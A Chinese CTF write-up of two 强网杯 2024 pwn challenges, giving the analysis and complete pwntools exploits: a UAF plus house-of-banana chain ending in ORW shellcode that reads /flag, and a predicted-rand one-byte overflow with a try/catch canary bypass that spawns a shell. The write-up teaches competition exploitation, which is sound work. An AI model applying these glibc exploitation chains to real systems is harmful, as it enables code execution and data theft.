强网杯 2024 pwn false AK

强网杯 2024 pwn

  • 🏄🏽‍♀️前言
  • 🏄🏽‍♂️heap(UAF + house of banana + orw)
    • 🏄🏽分析
    • 🏄🏽解题
    • 🏄🏽exp
  • 🏄🏽‍♂️expect_number(random + 栈溢出 + try/catch抛出异常canary绕过)
    • 🏄🏽分析
    • 🏄🏽解题
    • 🏄🏽exp

🏄🏽‍♀️前言

只做了两题,有些遗憾没能把chat_with_me也做出来。heap的爆破耽误了好多时间,第一次爆破2.35不太熟练

🏄🏽‍♂️heap(UAF + house of banana + orw)

🏄🏽分析

在这里插入图片描述
checksec查看。保护全开
在这里插入图片描述
IDA查看。这里我已经改好名了
在这里插入图片描述
开始这里设置了一下libc这个段,将一些IO的地址改为0了,不知道有什么用,好像是禁IO,apple可能用不了,所以我没往这方面考虑
在这里插入图片描述
沙箱查看。禁open,execve,openat。禁了和没禁一样,原意可能是用ptrace绕过,有可能出题人不知道openat2。所以直接正常orw就行了
在这里插入图片描述
add函数中只能add大块chunk,明显largebin attack,考虑house of banana,house of banana原理不讲,主要是改_rtld_global为可控堆地址
在这里插入图片描述
delete函数存在UAF漏洞
在这里插入图片描述
edit函数只能edit一次,要想成功house of banana要两次
在这里插入图片描述
show函数直接show一个大块,只能泄露一次,可能有漏洞能利用,这里不管
在这里插入图片描述
env函数感觉没啥用,不管。后来看是可以打印环境变量里的flag,后来又听出题人说失误没清环境变量里的flag
在这里插入图片描述
secret函数有一次任意地址改的机会,house of banana可以执行了,利用这个机会改_rtld_global
在这里插入图片描述
有个更改地址的检查,在某个范围内不能改,我没仔细看,对house of banana无关

🏄🏽解题

在这里插入图片描述
在这里插入图片描述
照house of banana的操作来,先申请较大块,申请最大块,申请较小块,删除较大块,申请最大块,较大块就能进largebin

进去之后连接到了heap的地址和libc的地址,都能泄露出来,以及附带的一些gadget

泄露出来后,计算_rtld_global的地址,由于高版本环境libcbase的末5为固定为0,所以比较好爆破,需要1/512的概率。首先是 + 0x21c000,随后 + (0x1000~0x200000)的数(这里末3位不随机,1/512的概率),再 + 0x6b040的固定偏移(环境不同会变化)
在这里插入图片描述
在这里插入图片描述
随后利用secret修改_rtld_global,sleep是为了等本地进程结束,再在delete中输入就会直接异常结束进程,方便爆破。远程也同理,delete的主要作用是爆破,可以不用
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
之后把link_map结构体写进可控堆,需要注意的是上面给的结构体图是2.31的,2.35需要将*l_next字段改为_rtld_global + 0x1850而不是0x16e0,house of banana基本完成
在这里插入图片描述
输入6来触发exit函数走_dl_fini执行流,mprotect一段地址,再写shellcode上去,调用openat2,read,write完成orw
在这里插入图片描述
写一个爆破的函数,概率比较小可以多开几个终端一起爆

🏄🏽exp

from pwn import *filename = './pwn'elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc-2.35.so')def add(size):io.sendlineafter('choice: \n', '1')io.sendlineafter('size \n', str(size))def delete(index):io.sendlineafter('choice: \n', '2')io.sendlineafter('delete: \n', str(index))def edit(index, content):io.sendlineafter('choice: \n', '3')io.sendlineafter('edit: \n', str(index))io.sendlineafter('content \n', content)def show(index):io.sendlineafter('choice: \n', '4')io.sendlineafter('show: \n', str(index))def pwn():add(0x510)add(0x600)add(0x500)delete(1)add(0x600)show(1)io.recvuntil('here \n')large_430 = u64(io.recv(8))io.recv(8)heapbase = u64(io.recv(8)) - 0x1950libcbase = large_430 - 0x21b110libc.address = libcbasesetcontext = libc.sym['setcontext'] + 0x3dsyscall = libc.sym['read'] + 16ret = libcbase + 0x29139rdi = libcbase + 0x2a3e5rsi = libcbase + 0x2be51rdx_rbx = libcbase + 0x904a9rcx = libcbase + 0x3d1eerax = libcbase + 0x45eb0success('libcbase =>> ' + hex(libcbase))success('heapbase =>> ' + hex(heapbase))success('setcontext =>> ' + hex(setcontext))_rtld_global = libcbase + 0x21c000 + 0x1f5000 + 0x6b040success('_rtld_global =>> ' + hex(_rtld_global))heap = heapbase + 0x2480io.sendlineafter('choice: \n', '6')io.sendafter('addr \n', p64(_rtld_global))io.send(p64(heap))sleep(0.1)delete(3)link_map = p64(0)link_map += p64(_rtld_global + 0x1850) #2.35link_map += p64(0)link_map += p64(heap)link_map += p64(0) * 28 link_map += p64(heap + 0x110)link_map += p64(heap + 0x110)link_map += p64(heap + 0x120)link_map += p64(0x40)link_map += b'/bin/sh\x00'link_map += p64(heap + 0x110)link_map += p64(setcontext)link_map += p64(ret)link_map += p64(0) * 12link_map += p64(0)link_map += p64(heap + 0x110)link_map += p64(0) * 2link_map += p64(0x200)link_map += p64(0) * 2link_map += p64(heap + 0x110)link_map += p64(libc.sym['read'])link_map += p64(0) * 36link_map += p64(0xb00000000)io.sendline('3')io.sendlineafter('edit: \n', str(3))io.sendafter('content \n', link_map)io.recv()io.sendline('6')io.send(p64(rdi) + p64(heap - (heap & 0xfff)) + p64(rsi) + p64(0x1000) + p64(rdx_rbx) + p64(7) + p64(0) + p64(rax) + p64(10) + p64(syscall) + p64(rdi) + p64(0) + p64(rsi) + p64(heap - (heap & 0xfff)) + p64(rdx_rbx) + p64(0x500) + p64(0) + p64(rax) + p64(0) + p64(syscall) + p64(heap - (heap & 0xfff)))shellcode = f'''mov rax, 0x67616c66 /*  /flag   */push raxxor rdi, rdisub rdi, 100mov rsi, rsppush 0push 0push 0mov rdx, rspmov r10, 0x18push 437pop raxsyscall'''io.send(asm(shellcode + shellcraft.read(3, heap, 0x100) + shellcraft.write(1, heap, 0x100)))io.interactive()for i in range(1000):io = process(filename)try:pwn()except:continuefinally:io.close()

🏄🏽‍♂️expect_number(random + 栈溢出 + try/catch抛出异常canary绕过)

🏄🏽分析

在这里插入图片描述
checksec查看。保护全开
在这里插入图片描述
IDA查看。这里我已经改好名了
在这里插入图片描述
intt函数中,初始化了一下,设置了srand为1,后面有用到rand,关于随机数可以看我的这篇文章学习
https://blog.csdn.net/j284886202/article/details/134676894

告诉说要闯288关,只能用0, 1, 2三个数,我还以为是shellcode,说如果能让数等于0x4F5DA2就能给个gift,实际是等于0xA2,也没给gift

在这里插入图片描述
vuln函数中,利用index函数输入想要的index,如果是4的话会执行那样一个东西,是1则是进行运算,2是show一下之前所有运算中用到了什么数,3是给gift
在这里插入图片描述
count函数,上来检测一下如果超过了288次运算则退出,最多只能运算288次,随后rand了一下,1-4这四个值作为要执行的加减乘除操作,如果是4,先判断被除数不能为0,再判断要能整除,随后再进行除法。

加减乘的话没有太多要求,直接赋值就好
在这里插入图片描述
随后执行这一段,检查了一下结果数字的大小,不能超过0x101。需要注意的是该函数在拿v11的时候有一个操作是movsx eax, al,这个操作使得原数字的大小不能超过128,否则会被扩展成32位负数,最后在检查结果数字大小的时候必定超过0x101。

检查完后将本次的操作数放到那个内存地址里,再将本次结果数字放到本次的操作数的地址后面

在这里插入图片描述
show的话没什么好说的。gift函数就是检测结果数字是不是0xA2,如果是就执行system(“cat gift”),但远程并没有gift,这个只能用来说是熟悉一下题目操作

IDA先分析到这,剩下的必须结合解题来分析了

🏄🏽解题

在这里插入图片描述
随便进行一些操作,data数据如图,末尾0x60是结果数字,前面的303132这些是操作数,加了0x30。下面0x5c3df880c520处有个地址,是在menu执行‘4’,exit的时候用的
在这里插入图片描述
观察‘4’的调用流程,可以知道,先从0x5e3c930ca520拿了一个地址,再从这个地址里拿一个地址,作为call rdx执行,rdi参数不重要
在这里插入图片描述
进入IDA,发现拿的第一个地址在这里,这里是一个偏移表,有很多偏移

随后第二个地址会拿到exitt
在这里插入图片描述
之后执行了这里的内容

如果能更改从0x5e3c930ca520拿的地址,例如拿到off_4C60,就可以去执行rread函数

在这里插入图片描述
这里有个栈溢出,刚好覆盖ret,随后是try/catch抛出异常绕过canary(原理不讲)
在这里插入图片描述
找了一下’/bin/sh’字符串,发现这里有个try/catch,后面接了个system,等会就ret到这里就可以获取shell了
在这里插入图片描述
经过288次操作后,操作数刚好写满了,但是结果数字会写在操作数的后一位,导致了溢出,将原本的exit跳板修改为了rread的跳板

这里还需要控制结果数字为0x60
在这里插入图片描述
调用C库模拟rand,我这里是奔着srand的种子是time去写的,他这里降低了难度,固定种子为1,但是用time做种子也可以做

skip函数用来跳过无关数字,count完成需要的操作,期望:2 3 6 12 24 48 96

0 + 2 = 2, 2 + 1 = 3,后面一直 * 2就好
在这里插入图片描述
用skip填充后面的字符,直到288次,溢出一字节
在这里插入图片描述
由于0x5e3c930ca520存了一个程序段的地址,所以还能获取程序基地址,计算出bss地址以及刚刚的system的try的地址 + 1
在这里插入图片描述
随后触发‘4’,exit已经被替换为rread函数了,rbp填bss,ret填system的try的地址 + 1,就可以绕过canary并获取shell

🏄🏽exp

from pwn import *
from ctypes import *filename = './expect_number'debug = 0
if debug:io = remote('47.94.237.181', 32818)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = cdll.LoadLibrary('libc.so.6')libc.srand(1)def add(num):io.sendlineafter('choice ', '1')io.sendlineafter('choose? 2 or 1 or 0', str(num))def show():io.sendlineafter('choice ', '2')def submit():io.sendlineafter('choice ', '3')def exit():io.sendlineafter('choice ', '4')def skip(how, b = ''):for i in range(how):if b == '':b = libc.random() % 4 + 1if b == 1:add(0)elif b == 2:add(0)elif b == 3:add(1)elif b == 4:add(1)b = ''i = 0def count(how, value):global iwhile 1:a = libc.random() % 4 + 1i += 1if a == how:add(value)break;else:skip(1, a)continue# 2 3 6 12 24 48 96count(1, 2)
count(1, 1)
count(3, 2)
count(3, 2)
count(3, 2)
count(3, 2)
count(3, 2)skip(0x114 - i)show()
io.recvuntil('History')
io.recv(0x11a)
base = u64(io.recv(6).ljust(8, b'\0')) - 0x4c60
success('base =>> ' + hex(base))
bss = base + 0x5500
sys = base + 0x2515 + 1exit()
io.send(b'A' * 0x20 + p64(bss) + p64(sys))io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/891.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

shodan进阶-实战案例

导语 一、CVE-2019-0708(3389漏洞) 1. 概要 2. 原理 3. 搜索命令 二、vnc空密码(未授权访问) 1. 概要 2. 原理 3. 搜索命令 三、思科网络设备未授权 1. 概要 2. 原理 3.搜索命令 四、MongoDB 未授权访问 1. 概要 2…

并发编程中的CAS思想

共享变量操作的原子性 分析如下代码片段: // 获取共享变量时,为了保证该变量的可见性,需要使用 volatile 修饰。 static volatile int count 0;public static void add(){count; }public static void main(String[] args) throws Interrup…

占地1.1万平,2亿投资的智能仓储系统:高架库、AGV、码垛机器人……

导语 大家好,我是社长,老K。专注分享智能制造和智能仓储物流等内容。 我国调味料市场近年来展现出惊人的增长潜力,各大品牌纷纷加大投入,力求在竞争中脱颖而出。 广东美味鲜调味食品有限公司,作为行业内的佼佼者&#…

激活函数、条件熵和最大熵在机器学习的应用

文章目录 摘要Abstractsigmoid 和 softmaxsigmoid和softmax的关系 条件熵最大熵总结 摘要 本周学习内容探讨了神经网络中激活函数的选择及其对梯度消失问题的影响。通过使用 ReLU 函数替代 Sigmoid 函数来改善梯度消失问题的优化方法,同时分析了 Sigmoid、Softmax …

【MySql】-0.1、Unbunt20.04二进制方式安装Mysql5.7和8.0

1、下载Mysql二进制报(选择Linux的通用版本) mysql官网地址:https://downloads.mysql.com/archives/community/ wget https://downloads.mysql.com/archives/get/p/23/file/mysql-5.7.26-linux-glibc2.12-x86_64.tar wget https://downloads.…

全渠道供应链打造中企业定制开发2+1链动模式S2B2C商城小程序的策略与影响

摘要:本文探讨了全渠道供应链打造对于零售企业的重要性及面临的挑战,着重分析了物流环节整合的难点,并以家电行业为例说明了节假日期间物流对企业经营的影响。同时,引入“企业定制开发21链动模式S2B2C商城小程序”这一关键因素&am…

【Python+Pycharm】2024-Python安装配置教程

【PythonPycharm】2024-Python安装配置教程 一、下载装 Python 1、进入Python官网首页,下载最新的Python版本 Download Python | Python.org 选择对应版本下载 安装 测试安装情况 python如果安装失败 在系统环境变量添加安装路径 where pythonwin7安装路径添加…

C++开发者必看:用Flow-IPC改善进程间通信

进程间通信(IPC)对于现代计算环境至关重要,这种机制使得多个处理器核心能够同时执行多个线程。IPC的本意是让不同线程甚至独立程序能够高效地共享数据。例如,当我们在线观看流媒体视频时,可能会有一个线程负责视频解码…

JAVA 插入 JSON 对象到 PostgreSQL

博主主页:【南鸢1.0】 本文专栏:JAVA 目录 ​编辑 简介 所用: 1、 确保 PostgreSQL 数据库支持 JSON: 2、添加 PostgreSQL JDBC 驱动 3、安装和运行 PostgreSQL 4、建立数据库的连接 简介 在现代软件开发中,由于 JSON 数据…

闪存学习_1:Flash-Aware Computing from Jihong Kim

闪存学习_1:Flash-Aware Computing from Jihong Kim 前言一、Storage Media:NAND Flash Memory1、概念2、编程和擦除操作3、读操作4、异地更新操作(Out-Place Update)5、数据可靠性6、闪存控制器(SSD主控)7…

C++STL-deque、stack、queue、priority_queue

C教学总目录 deque、stack、queue、priority_queue 1、deque2、stack使用介绍3、stack实现4、queue使用介绍5、queue实现6、priority_queue使用介绍7、priority_queue实现8、反向迭代器 1、deque deque是双端队列,我们学习的队列是先进先出的(First in first out)&a…

汽车虚拟仿真软件有哪些?行业软件大盘点!

汽车虚拟仿真是指利用计算机技术,根据汽车的设计、制造、测试、运行等各个环节的需求,建立汽车的数学模型和物理模型,通过软件平台进行可视化、动态化、交互式的模拟和分析,从而实现对汽车性能、功能、品质等方面的预测和评估。汽…

【合肥工业大学】操作系统 习题解析 作业答案(仅作学习与交流/侵删)

第一章习题解析 1.设计现代OS的主要目标是什么? 答:(1)有效性 ( 2)方便性 ( 3)可扩充性 ( 4)开放性 2. OS 的作用可表现在哪几个方…

【C++动态规划】2435. 矩阵中和能被 K 整除的路径|1951

本文涉及知识点 C动态规划 LeetCode2435. 矩阵中和能被 K 整除的路径 给你一个下标从 0 开始的 m x n 整数矩阵 grid 和一个整数 k 。你从起点 (0, 0) 出发,每一步只能往 下 或者往 右 ,你想要到达终点 (m - 1, n - 1) 。 请你返回路径和能被 k 整除的…

matlab读取逐日的1km分辨率中国大陆地区的土壤水数据,并汇总至逐月分辨率

1.前言 ESSD一篇文章介绍了逐日的土壤水数据: ESSD - A 1 km daily soil moisture dataset over China using in situ measurement and machine learning 图片来源:Li et al., 2022, ESSD 中国大陆地区的土壤水的数据下载地址: 国家青藏高…

用Pyhon写一款简单的益智类小游戏——2048

文字版——代码及讲解 代码—— import random# 初始化游戏棋盘 def init_board():return [[0] * 4 for _ in range(4)]# 在棋盘上随机生成一个2或4 def add_new_tile(board):empty_cells [(i, j) for i in range(4) for j in range(4) if board[i][j] 0]if empty_cells:i,…

C++类和对象上

1. 类的定义 1.1 类定义格式 • class为定义类的关键字,Stack为类的名字,{}中为类的主体,注意类定义结束时后⾯分号不能省略。类体中内容称为类的成员:类中的变量称为类的属性或成员变量; 类中的函数称为类的⽅法或者成员函数。…

目标追踪DeepSort

一、卡尔曼滤波 你可以在任何对某个动态系统有 “不确定信息” 的地方使用卡尔曼滤波器,并且可以对系统下一步的行为做出 “有根据的猜测”。即使混乱的现实干扰了你所猜测的干净运动,卡尔曼滤波器通常也能很好地确定实际发生了什么。它还可以利用你可能…

Python爬虫:揭开淘宝商品描述的神秘面纱

在这个信息爆炸的时代,我们每天都在和时间赛跑。作为一名Python开发者,你是否曾梦想拥有超能力,能够瞬间揭开淘宝商品描述的神秘面纱?今天,就让我们一起化身为代码界的“福尔摩斯”,使用Python爬虫技术&…

消息队列面试——打破沙锅问到底

消息队列的面试连环炮 前言 你用过消息队列么?说说你们项目里是怎么用消息队列的? 我们有一个订单系统,订单系统会每次下一个新订单的时候,就会发送一条消息到ActiveMQ里面去,后台有一个库存系统,负责获取…